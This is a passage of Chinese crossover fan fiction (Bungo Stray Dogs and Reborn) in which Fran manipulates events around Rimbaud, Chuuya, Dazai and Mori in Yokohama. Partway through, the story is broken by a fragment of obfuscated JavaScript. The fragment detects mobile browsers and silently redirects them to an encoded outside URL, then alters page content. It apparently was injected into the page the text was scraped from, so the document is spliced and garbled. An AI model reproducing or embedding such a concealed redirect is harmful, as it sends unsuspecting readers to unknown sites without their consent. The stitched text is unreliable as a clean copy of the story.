兰堂放下手中厚重的法文诗集,裹紧了标志性的厚外套,尽管室内暖气充足。 他看着弗兰将最后一点内容物倒进一个朴素的饭盒里,然后“啪”地一声干脆利落地盖上盖子,顺手把空了的包装袋精准地扔进角落的垃圾桶。 “……弗兰?”兰堂的声音带着一丝不易察觉的迟疑,他看清了垃圾桶里那个包装袋的残骸——印着某个知名宠物食品品牌的标志,清晰无比,“……你刚刚倒进去的,是狗粮?就没有正常一点的饭吗?” 弗兰慢悠悠地转过身,那双翠绿色的眸子毫无波澜地锁定兰堂,仿佛在看一个不可回收垃圾。 他身后,空气似乎都凝滞了,隐隐有看不见的黑色怨气在翻涌。 “呵。”一声短促而充满嘲讽意味的嗤笑从弗兰口中溢出,“一个能把松露鹅肝酱涂在超市打折全麦面包上,并且称之为‘法式简餐’的人,居然在跟Me讨论正常午饭?兰堂,你的味觉神经是八年前被爆炸炸飞了吗?Me建议你先去看看自己做的饭,看看自己有没有资格对‘正常’这个词发表任何见解。” 他拎起那个饭盒,动作随意得像拎着一袋垃圾,语气冰冷又理所当然:“况且,对于那条以品尝消毒水、洗涤剂和过期蟹肉为乐的阴沟生物,狗粮已经是Me能给予的最高规格的人道主义关怀了。他配吃这个,他配。” 出门前,弗兰的脚步在通往地下室的门前微不可查地顿了一下。 金色能量结界之内,冰冷的空气仿佛凝滞,一个身着陈旧黑色风衣、面容枯槁如朽木的老人直挺挺地“站”在那里,胸口毫无起伏,皮肤呈现出一种死寂的青灰色——正是港口黑手党那位早已入土的先代首领的尸体。 兰堂的秘密武器,也是他执拗计划的核心。 弗兰垂下眼,他头也没回,声音不高,却带着一种不容置疑的穿透力,清晰地传入兰堂耳中: “镭钵街‘先代复活’的消息,Me已经‘不小心’泄露出去了。足够让黑手党那些鼻子比狗还灵的鬣狗闻着味儿扑过去。” 他顿了顿,语气加重,带着前所未有的提示意味,“但是——长毛杀手,剩下的戏码,让港口黑手党自己去唱。你要是敢亲自下场,把自己当成诱饵扔进那个漩涡……” 弗兰终于侧过头,翠绿的瞳孔在帽子阴影下闪烁着近乎无机质的冷光,一字一句,清晰无比:“Me、真、的、会、生、气。比你把Me的生日礼物弄坏这件事,还要生气一百倍。” 他推开门,身影消失在门外的光晕里。 弗兰太了解兰堂了。这个男人把“任务”刻进了骨髓,固执得像一块被冰封千年的顽石。 他不会像魏尔伦那样被情绪冲昏头脑,但一旦认定目标,就会变成最精密的猎手,旁人的感受、甚至自身的安危都会被冷酷地排在任务之后。 他对同伴的重视毋庸置疑,但“任务”与“同伴”的天平一旦倾斜,弗兰毫不怀疑兰堂会选择前者。这种认知让弗兰心底发寒。 所以,他必须抢先一步。 循着镭钵街深处传来的激烈打斗声和爆炸轰鸣,弗兰像一道融入阴影的幽灵,悄无声息地走下残破的台阶。 刚抵达战场边缘,恰好看到一个眼熟的、缠满绷带的黑色身影如同断线风筝般被一股狂暴的橙色力量狠狠击飞,重重砸在断墙上,扬起一片尘土。 “啪、啪、啪——” 清脆而单调的鼓掌声突兀地响起,打破了硝烟弥漫的紧张。弗兰站在相对安全的阴影处,双手缓慢地拍着,语气是毫无起伏的棒读: “喂——黑泥精,你预订的‘豪华午餐’特快专递到了。” 他慢悠悠地走过去,居高临下地看着蜷缩在地上、捂着明显扭曲变形的右臂、额头绷带渗血的太宰治。 弗兰打开手中的饭盒盖子,一股经过幻术精心伪装的、诱人的饭菜香气飘散出来。 他蹲下身,翠绿的眸子近距离地审视着太宰治的惨状,脸上清晰地写着“遗憾”二字,甚至还微微撇了下嘴:“啧,右手粉碎性骨折了吧?真可怜,看来不能自己动手吃饭了呢。” 他挖起满满一大勺“饭菜”,动作堪称温柔地递到太宰治苍白的唇边,声音毫无诚意地拉长,“不过Me大发慈悲,可以免费提供喂食服务哦。来,张嘴,啊——” “说什么呢弗兰,这明明是给小矮子准备的午饭,你看他这不就来了吗。” 就在勺子即将触碰到太宰治嘴唇的瞬间,一道快如闪电的橙色身影裹挟着劲风猛然冲至,愤怒的力量精准地撞飞了弗兰手中的饭盒! “哐当!”饭盒翻滚落地,里面精心准备的美味佳肴撒了一地,在剧烈的碰撞和异能冲击下,弗兰维持的幻术瞬间消散,露出了棕褐色、颗粒分明的狗粮原形。 弗兰看着熟悉的异能红光和那个炸毛的赭发少年,微微一愣。 “谁会吃这种东西啊混蛋!!”中原中也看着地上那摊明显是狗粮的东西,额头的青筋瞬间暴起,像几条愤怒的蚯蚓在跳动,湛蓝的眸子里燃起熊熊怒火,“你这家伙给我去死……” “轰——!!!” 他愤怒的咆哮被一声惊天动地的巨响粗暴地打断! 黑色的火焰毫无征兆地从战场中心爆裂开来,瞬间形成狂暴的飓风漩涡!灼热的气浪和毁灭性的冲击波席卷四方,碎石瓦砾如同炮弹般四射!一个身着黑色风衣、挥舞着巨大镰刀的枯槁身影在火焰与飓风的中心显现,散发着令人窒息的死寂与疯狂! “先代首领?!” 站在太宰治身旁、刚刚用斥力保护了他的中年男人——广津柳浪,失声惊呼,单片眼镜后的瞳孔因震惊而剧烈收缩。 那狂暴的姿态,那标志性的镰刀,那令人厌恶的暴虐气息……绝不会错! 尘埃稍落,一片狼藉中,浑身沾满尘土和血迹、右手无力垂落的太宰治,艰难地用左手撑起身子。 他看了一眼被广津柳浪扛在肩上、因巨大冲击而陷入昏迷的赭发少年,又瞥了一眼站在废墟边缘、仿佛只是出门散步般气定神闲的弗兰,鸢色的眼眸里闪过一丝精光,拉长了粘稠的语调: “来得真是‘恰到好处’呢,小苹果~”他意有所指,目光扫过弗兰,“幻术真是便利得让人嫉妒的能力啊,轻轻松松就放倒了这只暴躁的「羊之王」。难怪森先生一直对你念念不忘,想把你拖进这滩黑泥里。” 弗兰面无表情地看着太宰治那张狼狈却依旧挂着虚伪笑容的脸,语气微微上扬:“Me对黑手党一点也不感兴趣哦。还有,被一条刚从阴沟里爬出来、浑身散发着血腥味的人形黑泥夸奖,真是让人一点也开心不起来。” 他嫌弃地皱了皱鼻子,“建议你立刻、马上去洗个澡,地点Me推荐忘川河,洗涤灵魂污垢,效果拔群,包你满意。” 广津柳浪扛着昏迷的中原中也,听着身后两位少年堪称惊悚的对话,额角悄然滑下一滴冷汗。 一个是首领心尖上的弟子,一个是风头正盛、背景神秘的新晋干部候补家的“问题儿童”,他夹在中间,只觉得压力山大。 不过,刚才那惊鸿一现的“先代首领”……那绝非幻象!那恐怖的压迫感和破坏力,绝对是本尊! “痛死了……”太宰治用没受伤的左手碰了碰额角的伤口,鲜血已经浸透绷带,在苍白的皮肤上蜿蜒,他抱怨着,目光却像淬了毒的钩子,牢牢锁住弗兰,“都怪这只没脑子的暴力小蛞蝓。我最讨厌疼痛了。” 他话锋一转,带着探究,“话说回来,弗兰君对镭钵街的地形和‘时机’,似乎熟悉得过分呢?” 弗兰的脚步没有丝毫停顿,随口应道:“……啊。毕竟在被某个怕冷怕得要死、品味还奇怪的大人捡回去之前,Me也是在这片垃圾堆里自力更生过一段时间的。” 他不动声色地加快脚步,跟上广津柳浪,目光状似无意地扫过被扛着的赭发少年。 那张脸,那眉眼,确实找不到任何熟悉的影子。 然而,当中原中也昏迷时,身上异能残余的波动……那狂暴、纯粹、仿佛能撕裂大地的力量本质,却透出一股让弗兰灵魂深处都感到颤栗的熟悉感! 像一把钥匙,瞬间打开了他记忆深处尘封的某个盒子。 他的一切过往信息都是精心编织的空白。 非法入境,伪造身份,没人知道他的来历,连他后来交的朋友也只知道他有个监护人。这层迷雾般的背景,此刻成了他最好的掩护。 将太宰治和昏迷的中原中也安全“护送”到港口黑手党总部势力范围边缘,弗兰毫不犹豫地转身离开。 确认周围无人后,他利落地从口袋里掏出一张银行卡,手指用力一折—— “咔嚓!” 坚硬的塑料应声断成两截,被他随手扔进路边的下水道入口,消失不见。毁尸灭迹,干脆利落。 兰堂如今干部候补的丰厚薪水,足以支撑他们搬离那个狭小的宿舍,住进了这栋临近海边的宽敞别墅。 巨大的落地窗外是波涛起伏的海面,内部空间空旷得能听见回声。 然而,即使战争结束,横滨的阴影依旧在暗处涌动。在与兰堂朝夕相处的日子里,弗兰敏锐地察觉到了监护人记忆的混乱与矛盾。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797766|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 兰堂有时会陷入深沉的悲伤,笃定搭档魏尔伦早已在八年前的爆炸中化为灰烬;可有时,在面对小孩的凝视中,他又仿佛坚信着魏尔伦还活着,只是迷失在世界的某个角落。 “啧,这算什么?失忆版‘薛定谔的搭档’?” 弗兰曾对着空荡的客厅吐槽。 他至今没有透露半点关于魏尔伦还活着、并且就在他们老家的消息。 兰堂现在的精神状态就像一个装满烈性炸药的不稳定容器,任何一点火星都可能引发灾难性的后果。 尤其是当他开始利用先代尸体布局时,弗兰就知道,不能再等了。他固执会把他自己推向万劫不复的深渊。 他必须找一个足够强大、且能真正牵动兰堂心神的人来打破这个僵局。 所以,在看到中原中也爆发异能、感受到那股力量波动的第一眼,弗兰心中所有的线索瞬间串联成清晰的答案。 “找到了。” 海风吹拂着他额前的碎发,翠绿的眼底闪过一丝决断,“你们曾经的目标……或者,该说是‘钥匙’?无所谓了。” 他掏出手机,指尖在屏幕上快速敲击,编辑着一条加密信息。 “Me捡到了你‘遗失’的东西,就在横滨。再不来认领,Me就要把它连同某个快要玩火自焚的笨蛋一起打包处理掉了。——F” --- 弗兰拖着那把沾着不明暗红污渍的扫帚,木柄在粗糙的水泥地上刮擦出刺耳的“嘎吱”声。 他费力地将门口那具还温热的GSS成员尸体扫过门槛,像在处理一堆碍眼的垃圾。冰冷的海风趁机灌入室内,吹散了浓重的血腥味,也吹动了兰堂披在肩上、略显陈旧的外套。 “外面Me都清理干净了,”弗兰的声音毫无波澜,仿佛在报告天气,他随手将扫帚“哐当”一声靠墙丢下,金属头撞击地面发出清脆的回响。 他转向壁炉前那个裹着厚重衣物、仿佛与阴影融为一体的男人,“你有什么头绪吗,兰波?” 少年翠绿的眼眸在昏暗的光线下显得异常锐利,直直刺向兰堂,“还是说,你更习惯在别人替你收拾完烂摊子后,继续抱着你那本破书,在壁炉前扮演一个忧郁的、行动迟缓的哲学家?” 兰堂没有抬头,只是搭在厚重书脊上的手指几不可察地蜷缩了一下,书页边缘被他捏得微微发皱。 壁炉里柴火噼啪作响,跳跃的火光在他深沉的眸子里明明灭灭。 弗兰没有期待他的回答,自顾自地向前踱了两步,刻意踩在刚才尸体拖曳留下的污痕上,发出粘腻的声响。 “Me和那个橘色头发的小矮子——中原中也,相处了几天。”他顿了顿,似乎在斟酌词汇,语气里罕见地有些认真,“感觉……他是个蠢货。” 这个出乎意料的评价让兰堂的睫毛终于颤动了一下,视线从书页上微微抬起。 “一个会为了路边被混混欺负的小鬼停下脚步,会把自己仅有的食物分给镭体街的小孩,会为了所谓的‘同伴’毫不犹豫冲进枪林弹雨里的蠢货。” 弗兰的声音里带上了一丝近乎冷酷的分析,“所以,兰波,Me在思考一个非常、非常基础的问题:当一个被定义为‘兵器’或‘容器’的生命体,它内部真正主导行为的‘意识’,开始自发地、笨拙地、甚至有点愚蠢地‘善待’这个世界——当它表现出怜悯、愤怒、保护欲这些人性里最麻烦也最闪光的东西时,它还有被抹杀的必要吗?” 空旷的房间里,弗兰清晰的话语如同冰冷的石子投入死水,激起看不见的涟漪。 他直视着兰堂那双终于完全抬起的、映着火光的、深不见底的金色眼眸。 “更何况,”弗兰的语速加快,带着不容置疑的锋芒,“他现在不是一团能量,不是一个符号。他有自己的思想,会高兴也会愤怒;他有自己的情绪,会恐惧也会爱;他有自己认定的家人,现在的「羊」就是他的锚点。那么,兰波,告诉我,” 少年的声音陡然拔高,带着一种近乎残忍的质问,“他是一个拥有独立思想、鲜活情感和社会关系的存在,不该被你、或者被你的一己私欲而毁灭。” 壁炉的火光猛地跳跃了一下,兰堂捏着书的手指关节因为用力而泛白。 弗兰敏锐地捕捉到了这细微的变化,他向前逼近一步,几乎与兰堂隔着炉火面对面。 “你应该也猜到了吧?”弗兰的声音低沉下来,却带着更强的穿透力,“沉睡在他体内的是荒神。但兰波,你比Me更清楚,那东西是什么。” 兰堂的嘴唇抿成一条苍白的直线,金色的瞳孔紧紧锁住弗兰。 他深吸一口气,最后的话语如同判决,清晰地落在死寂的空气中: “就和魏尔伦一样。你明明知道的,兰波。你比任何人都清楚,当非人的容器里盛满了人的灵魂,它就不再是容器,而是……人本身。你要抹杀他的灵魂吗?” 壁炉里的火焰猛烈地跳动了一下,映照着兰堂骤然失血的侧脸。 他手中的书本,终于无声地从膝上滑落,“啪”地一声,沉闷地摔在了冰冷的地板上。那声音在寂静的房间里,显得格外惊心动魄。 他望着跳跃的火焰深处,仿佛看到了另一个金发的身影,在同样的质问下,无声地坍塌。弗兰的话语,如同一把精准的手术刀,不仅剖开了中也的本质,更狠狠地剜开了兰堂心底那道从未真正愈合、名为“魏尔伦”的旧伤疤。 空气中弥漫的阴霾并未完全散去,但某种根深蒂固的东西,已然在少年犀利的言辞和残酷的类比中,开始动摇、碎裂。 19.第 19 章 辽阔的海面上,一艘名为“欧罗巴之星”的豪华游轮正劈开墨蓝色的波涛航行。 大厅内灯火通明,衣香鬓影,一场奢靡的晚宴正如火如荼。悠扬却略显浮夸的大提琴音流淌在空气中,竭力想要包裹住人们放纵的欢笑声与水晶杯清脆的碰撞声。 旋转的彩色射灯在光滑的柚木甲板和人们精心修饰的脸上扫过,忽明忽暗,营造出一种刻意而脆弱的纸醉金迷,仿佛这层华丽的光晕随时会被海风吹散。 在这片喧嚣的阴影里,一个格格不入的金发身影倚靠着冰冷的船舷栏杆。 他穿着剪裁合体的浅灰马甲,同色系的西装外套随意地披在肩上,仿佛那只是件碍事的装饰品。 他修长的手指捏着一个几乎见底的高筒酒杯,里面琥珀色的液体只剩下浅浅一层,随着船身的轻微晃动,徒劳地撞击着杯壁。 夜风带着咸腥的凉意,掀起其他人的衣角和裙摆,却唯独对他头上那顶帽子无可奈何——它稳稳地“焊”在青年蓬松的金发上,纹丝不动,像个固执的守护灵。 他半抬起眼睑,目光穿透朦胧的夜色,投向遥远的远东方向。 那双湛蓝色的眼眸,在船舷阴影下显得比深海更幽邃,映着远处甲板上旋转的彩光,却像冻结的湖面,不起一丝波澜,看不出任何名为“情绪”的杂质。 --- “咚咚咚” 略显急促的敲门声打破了室内壁炉火焰燃烧的噼啪声。 兰堂放下手中的诗集,带着一丝不易察觉的疲惫打开大门。看到门外站着的黑发少年时,他浅金色的眼眸里掠过一丝真实的惊讶。 “太宰君?”兰堂侧身让开通道,“是来找弗兰的吗?他还没回来,你可以进来等一会儿。” “不,不,”太宰治脸上挂着人畜无害的笑容,动作却异常敏捷地侧身挤了进来,反手轻轻关上门,将海风的凉意隔绝在外。 他鸢色的眼睛里闪烁着狐狸般的狡黠光芒,“我是来找你的哦,兰堂先生——或者,更准确地说,是来找本次‘先代亡灵骚动’事件的幕后导演谈谈心。” 兰堂浅金色的瞳孔微微一缩,但面上依旧维持着那份属于成年人的、略带疏离的平静。 他转身走回壁炉边,随手将几本看起来颇为古旧的笔记本扔进跳跃的火焰中。纸张在高温下迅速蜷曲、焦黑,化为细小的灰烬。 “我没听懂你在说什么,太宰君。”他的声音低沉而平稳,带着一种金属般的质感,“森先生好像有教过你,没有切实证据就不要随便污蔑别人这种最基本的道理吧?” “啊啊,这么说确实如此呢。”太宰治仿佛没听到对方的警告,自顾自地拉开一张高背椅坐下,姿态放松得像是回到了自己家。 他双手交叠撑在下巴上,虚虚的目光像无形的丝线,缠绕在不远处的兰堂身上,观察着对方每一个细微的动作。 “虽然不知道出于什么原因,你最终放弃了后续更激进的‘演出’,但这件事,弗兰那家伙也参与了吧?” 他顿了顿,嘴角勾起一个玩味的弧度,“他在镭钵街那种地方生活过,对那里的消息流通再熟悉不过。由他把‘先代复活’这种爆炸性消息巧妙地散播出去,简直再合适不过了。我之前一直很困惑,为什么先代‘显灵’的地方干净得像被舔过一样,连点像样的痕迹都没留下……” 太宰治的目光若有似无地扫过兰堂,“如果是弗兰的‘幻术’要抹掉这些痕迹,那就再容易不过了,不是吗?” 他从容地咬字,每一个音节都带着某种洞悉的意味,像是在耐心地等待着猎物自己踏入陷阱,“虽然在镭钵街出现的那个先代首领,确实是货真价实的‘亡灵’,但这恰恰成了你们暴露的关键一环。” 他故意拖长了调子,欣赏着兰堂眉间细微的蹙起。 “因为当先代首领的幻影出现时,我们亲爱的弗兰君——他脸上连一丝‘惊讶’这种基本情绪都没有哦。为什么呢?因为他早就知道‘演员’会在什么时候登台。”太宰治轻笑出声,带着点意犹未尽的慵懒,甚至伸了个懒腰。 “那家伙啊,平时用幻术把自己的真实表情遮掩惯了,大概是觉得面瘫比较省力?但他好像完全忘记了,当时我就站在他旁边。啧,只有脑子单纯的小矮子和过分耿直的老爷子才会被这种蹩脚戏码完完全全骗过去啊。” “Me平时可没有用幻术遮掩表情,混蛋黑泥精。” 清冷、毫无起伏的声音如同冰锥,精准地刺破了室内略显紧绷的空气。 弗兰不知何时已经站在敞开的大门口,显然听到了最后几句话。他身后跟着的橘发少年,中原中也,脸色同样黑得像锅底。 “说谁是笨蛋啊你这绷带浪费装置!” 中原中也的怒吼几乎与弗兰的声音重叠。话音未落,一道裹挟着怒气的橘色身影已经如炮弹般掠过弗兰,直冲桌旁的太宰治,带着呼啸风声的肘击毫不留情地砸向对方那张欠揍的脸。 太宰治仿佛背后长了眼睛,以一个极其刁钻的角度侧身滑开,顺势还极其欠揍地伸手在中也那头耀眼的橘发上用力揉了一把,语气夸张地嘲笑:“哇哦,好凶!中也小狗这么急着护主吗?” “谁是你的狗?!找死!”中也的怒火瞬间被点燃,湛蓝色的眼睛里几乎要喷出火来。 “啧,关系真好。” 弗兰面无表情地关上门,看着眼前熟悉的“猫狗大战”戏码再次上演,语气平板得像在念天气预报,“你们很适合成为搭档啊,感情好到随时能拆房子。” “谁跟他关系好了!” “谁会跟黏糊糊的蛞蝓关系好!” 太宰治和中原中也再次异口同声地吼了回去,互相怒视的眼神如果能化为实质,大概已经将对方戳成了筛子。 “总之,”太宰治率先收回目光,重新挂上那副掌控全局的微笑,看向兰堂,“你们的剧本我已经看得差不多了。这个精彩的调查结果如果原原本本汇报给森先生的话……” 他拖长了尾音,目光在兰堂和弗兰之间扫过,“后果嘛,你们两位大概会被港口黑手党的规则好好‘处理’一下吧?嗯……你在干什么,弗兰?” 太宰治的从容瞬间被打断,他惊讶地看着弗兰不知从哪里摸出手机,手指正以惊人的速度在屏幕上噼里啪啦地敲击着,屏幕的光映在他毫无表情的脸上,显得有些诡异。 “显而易见,在找下家。” 弗兰头也不抬,一个轻巧的侧身避开了太宰治好奇凑过来的脑袋,语气平淡得像在讨论晚餐吃什么。 “为了防止被森先生当成‘有害垃圾’处理掉,Me觉得还是趁早带着兰堂跳槽比较明智。反正世界这么大,黑手党那么多,总有一个瞎了……咳,慧眼识珠的组织愿意接收两个无家可归的可怜人吧?比如加百罗涅?或者基里奥内罗?彭格列就算了。” 他一边碎碎念,一边快速滑动屏幕,似乎在认真评估各个“雇主”的待遇和风险。 “我好像没说过要离开港口黑手党的话吧,弗兰。” 一直旁观的兰堂终于忍不住了,他双手撑在厚重的橡木桌面上,浅金色的眼眸带着长辈特有的不赞同,紧紧盯着自家小孩。 “而且,跳槽前先贬低前东家和自己,可不是什么明智的谈判策略。” 他叹了口气,语气变得严肃,“这件事,我会亲自去和森鸥外谈谈。” 弗兰的手指终于停了下来,他抬眼看向兰堂。空气仿佛凝固了,壁炉里火焰的噼啪声变得异常清晰,一种沉重的、无声的担忧在两人之间弥漫开来。 弗兰抿了抿唇,没说话。 “不知道你们在这打什么哑谜,” 中原中也强行压下对太宰治的怒火,走到兰堂面前,湛蓝的眼睛里带着少年人特有的固执,“但是——之前那个‘找出散布谣言真凶’的打赌,算是我赢了吧?毕竟我可是找到了这个幕后黑手!” 他微微扬起下巴,带着点邀功的意味。 打赌? 弗兰用眼神精准地向太宰治发射了一个巨大的问号。 “啊,是那个啊~” 太宰治立刻换上得意的笑容,用缠着绷带的手指戳了戳中也气鼓鼓的脸颊,成功换来对方一个嫌弃的甩头,“可惜哦,笨蛋中也~在你气势汹汹闯进来的前三分钟,我已经把‘犯人’和‘作案动机’都告发完毕了!所以呢——” 他拖长了调子,笑容愈发恶劣,“中也以后就只能乖乖当我的狗了哦~汪一声来听听?” “这是什么港口黑手党特产的新型职场霸凌吗?还是说……” 弗兰的目光在瞬间僵硬的兰堂、炸毛的中也以及得意洋洋的太宰治之间扫了几个来回,最后定格在太宰治那张欠扁的笑脸上,“……这是你们两个之间难以启齿的特殊情趣?Me不理解,Me震惊,Me深感困惑并建议你们去看看心理医生。” 他的毒舌精准地覆盖了在场的所有人,尤其是重点打击 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他只知道那三个家伙在兰堂的书房里关起门来密谋了许久,期间似乎还爆发过激烈的争吵(主要是中也的怒吼和太宰治的怪笑),但最后出来时,气氛居然诡异地“和谐”了起来。 弗兰严重怀疑太宰治是把“单细胞生物”中原中也连人带异能力一起打包卖给了森鸥外,但他没有证据——毕竟中也看起来虽然依旧臭着脸,但眼神深处似乎多了一丝……找到某种目标的奇异光芒? 短短几天的时间事情就落下帷幕。 当弗兰推开兰堂公寓的门,看到客厅沙发上坐着的三个人时,他那张万年面瘫的脸上,第一次出现了堪称瞳孔地震的表情。 沙发上,兰堂正慢条斯理地喝着热可可,他旁边坐着仿佛无事发生的太宰治。 而最让弗兰震惊的是,坐在单人沙发上,穿着一身崭新合体黑色西装、头上却戴着一顶极其眼熟的旧款黑色礼帽的人——正是几天前还隶属于敌对组织“羊”的首领,中原中也! 不到短短一周!港口黑手党不仅没处理兰堂,反而还多了一个新成员?还是刚打服收编的敌对组织首领?! 弗兰感觉自己的CPU有点过载。这算什么?黑手党版的“boss直聘”?效率高得离谱了吧! 更刺眼的是中原中也头上那顶帽子——那款式、那颜色,他化成灰都认得! “哦,这个啊。” 察觉到弗兰震惊的目光,兰堂顺着他的视线看向中也头上的帽子,语气平淡得像在谈论今天吃什么,“是我送给中也君的礼物。港口黑手党不是有那种‘引领人’送给看重的后辈一份礼物的传统吗?” 他放下杯子,看向弗兰,浅金色的眼里带着一丝无奈的笑意,“当初还想把这个送给你的,可惜你死活不肯加入,还吐槽这帽子像个‘压扁的乌鸦窝’,戴出去会影响你的时尚品味。” 弗兰:“……” “不过现在想想,”兰堂的目光温和地落在正不自在地调整帽檐的中也身上,“你应该也有自己的门路吧,和你那个……嗯,特立独行的师父有关吗?” 他意有所指地问道。 弗兰的思绪瞬间从帽子跳到了某个更恐怖的存在。 他回想起当初被某位凤梨头师父压榨的“悲惨”岁月,特别是当彭格列十代目出席重要晚宴时,他被师父用三叉戟指着,勒令必须躲在暗处用幻术保护好那位年轻的教父大人,美其名曰“实战训练”。 每次想起这个,弗兰就忍不住内心吐槽:所以为什么一边喊着要毁灭万恶的黑手党这种中二口号,一边又兢兢业业、近乎免费地给彭格列打工啊? 大人的心思真的好难懂,尤其是精神不太稳定的大人。 毕竟除了那位人美心善的师姐库洛姆和黑曜那群同样不太正常的家伙,弗兰实在想不出还有谁能包容六道骸那种阴晴不定的性格了,彭格列首领除外。 “不,才没有!”弗兰立刻否认,试图撇清关系。 他掰着手指,计算六道骸可能的行程轨迹,心里那股不祥的预感却越来越强烈。 等等……他是不是忘了什么?好像还有人也要来日本,算算日子也该差不多—— “滴滴”手机响了两声。 弗兰点开信息,是“魔人”发来的消息。 【友情附赠一条免费情报:“欧罗巴之星”的豪华游轮将于两天后到达日本,祝您旅途愉快。】 20.第 20 章 横滨的夕阳懒洋洋地涂抹在街道上,给冰冷的钢筋水泥镀上了一层廉价的暖金色。 弗兰,那颗硕大的苹果头套在人群中异常扎眼,他像一株安静的毒蘑菇,蹲在十字路口的红绿灯下,看着对面橘发的身影认真地搀扶一位步履蹒跚的老者过马路。 “啧。”弗兰的豆豆眼毫无波澜地扫过这温馨一幕,“港口黑手党最后的良心?真是稀缺资源,建议放进博物馆收费参观。” 他内心毫无诚意地吐槽着。 中原中也小心翼翼地将老人送到对面安全地带,仿佛捧着什么易碎的珍宝。红灯固执地亮着,弗兰百无聊赖地数着秒数,直到绿灯亮起,他慢悠悠地踱过去,视线不经意间与刚直起身的中也对上。 那一瞬间,橘发少年如同被踩了尾巴的猫,湛蓝的瞳孔猛地收缩,原本因善意举动而柔和的脸庞瞬间炸开凶悍的警惕,恶狠狠地瞪了过来,仿佛弗兰是什么必须立刻铲除的脏东西。 “Me的脸上是写了‘举报信’还是‘欠揍宣言’?”弗兰面无表情地回视,内心毫无波澜甚至有点想笑,“这家伙,被骗得死死的啊,简直是把‘我是好人’四个大字刻在脑门上,在黑手党里当稀有动物很辛苦吧?” 就在中也即将发作之际,他身旁那位“腿脚不便”的老人突然直起了佝偻的腰,动作利落得像个杂技演员。 那张布满“岁月痕迹”的脸上瞬间绽开一个狡黠得近乎恶劣的笑容,伴随着一声清脆的“咔嚓”——一部手机精准地捕捉了中也那副“被雷劈中”的惊怒表情。 “噗——!”弗兰毫不客气地发出一声短促的嗤笑,虽然他的脸被巨大的帽子遮了大半,但那嘲讽的气场已经弥漫开来。 “什么?!混蛋太宰——!!!” 中也的怒吼几乎掀翻了半条街,羞恼和愤怒让他头顶几乎要冒出实质性的蒸汽。他像一颗被点燃的小型炮弹,猛地扑向那个瞬间卸下伪装、笑得花枝乱颤的黑发少年。 “有时候真的挺为港口黑手党的未来担忧啊,”弗兰看着对面瞬间扭打成一团的两人,露出了标志性的豆豆眼,“森先生大概每天都在为发际线哭泣吧。” 然而,这几天萦绕在弗兰心头的不安感,并非源于这对活宝的日常闹剧。 那是一种更深沉、更粘稠的预感,仿佛暴风雨来临前低气压闷在胸口。他心知肚明:保罗·魏尔伦,那个麻烦的源头,此刻必然已经潜入了横滨。 只是这位超越者如同最危险的幽灵,将自己的踪迹抹除得干干净净。 “这家伙又在策划什么惊天动地的‘惊喜’呢?”弗兰暗自腹诽,手指无意识地摩挲着帽檐。 “难得见到你这副……嗯,若有所思的表情,弗兰君。是有什么有趣的烦恼在困扰你吗?”一个带着几分刻意温和的成年男性嗓音自身后响起,伴随着轻盈的脚步声。 弗兰不用回头就知道是谁——港口黑手党的首领,森鸥外。 他旁边还跟着一个金发红裙、如同精致人偶般的小女孩,爱丽丝。爱丽丝学着弗兰的样子,也在路灯旁蹲下,小脑袋微微歪着,好奇地打量着对面鸡飞狗跳的场景。 “Me只是在思考,”弗兰的声音依旧毫无起伏,他试图抬头看看身后的不速之客,但巨大的苹果帽无情地阻碍了他的视线,他只能放弃,维持着面朝前方的姿势。 “Me身边的黑手党浓度是不是有点超标了。空气里都飘着Mafia的硝烟味和阴谋论的气息,对未成年人的心理健康非常不利。”他顿了顿,精准地补刀,“而且,现在这个时间点,应该是森先生您兢兢业业压榨员工、努力维持组织运转的工作时间吧?港口黑手党已经清闲到首领可以带着孩子出来压马路、呼吸新鲜空气了吗?” “哎呀呀,弗兰君这话真是令人伤心呢。”森鸥外穿着标志性的白大褂,无奈地摊开手,脸上挂着仿佛被误解的真诚表情。 “偶尔也需要劳逸结合嘛。更何况……”他低头看向爱丽丝,眼神瞬间切换成夸张的慈爱,“我们爱丽丝酱已经快一个月没有添置新裙子了,刚才在办公室里闹得可凶了。作为一位合格的监护人,我怎么忍心看她难过呢?” “林太郎大笨蛋!”爱丽丝立刻配合地鼓起脸颊,小手叉腰,气呼呼地反驳,“我明明只是想出来玩!买裙子都是你的私心!是你自己想看吧!变态萝莉控!” 看着眼前这“父女情深”的戏码,再看看对面还在上演“你追我逃”动作片的太宰和中也,弗兰感觉自己的苹果帽都要被这槽点撑大了。 “这算什么?港口黑手党祖传的‘精神不稳定’和‘表演型人格’吗?”他毫不留情地腹诽,“一个组织从上到下都这么不靠谱,横滨的未来真是令人绝望地光明啊。” “弗兰君真的不考虑加入我们吗?”森鸥外适时地将话题拉回正轨,脸上挂着极具诱惑力的微笑,“有句话说得好,近朱者赤,近墨者黑。在这样充满活力的环境里,或许能发掘出你更多的可能性?” “有一个兰堂被你们薅走还不够吗,森先生?”弗兰的声音平板得像一条直线,但其中的拒绝意味几乎要溢出来。 “非要把Me们家那点家底都掏空才甘心?做人要懂得知足,薅羊毛也不能逮着一只羊往死里薅,会秃的。” “呵呵呵,”森鸥外发出低沉的笑声,并未因拒绝而气馁,反而像欣赏一件稀世珍宝,“没办法啊,谁又能拒绝一颗在眼前闪闪发光、潜力无限的‘钻石’呢?这种诱惑,即便是我也难以抵抗。” 他语气中带着真实的遗憾,牵起爱丽丝的手,准备离开。 就在他转身的刹那,弗兰的声音再次响起,带着一种事不关己的淡漠:“对了……Me好心,算一个友情提示?” 他依旧没有回头,只是微微侧了侧他那巨大的苹果头,“最近黑市里,有人出价高得离谱在收购港口黑手党核心成员的详细资料,特别是战斗数据那种。看手法和阔绰程度,不像以前那些三流杀手或者小组织。” 他终于转过头,自下而上的看向森鸥外,眼神平静无波,“祝你们……嗯,工作顺利?” 森鸥外脚步微顿,眼眸中闪过一丝锐利的光,但脸上笑容不变:“多谢弗兰君的情报,这份友情我会记下的。” 说完,牵着还在嘟囔着“要买新裙子”的爱丽丝,身影消失在街道拐角。 --- 回到家,弗兰刚推开门,一股混合着化学药剂和……石膏?的味道扑面而来。 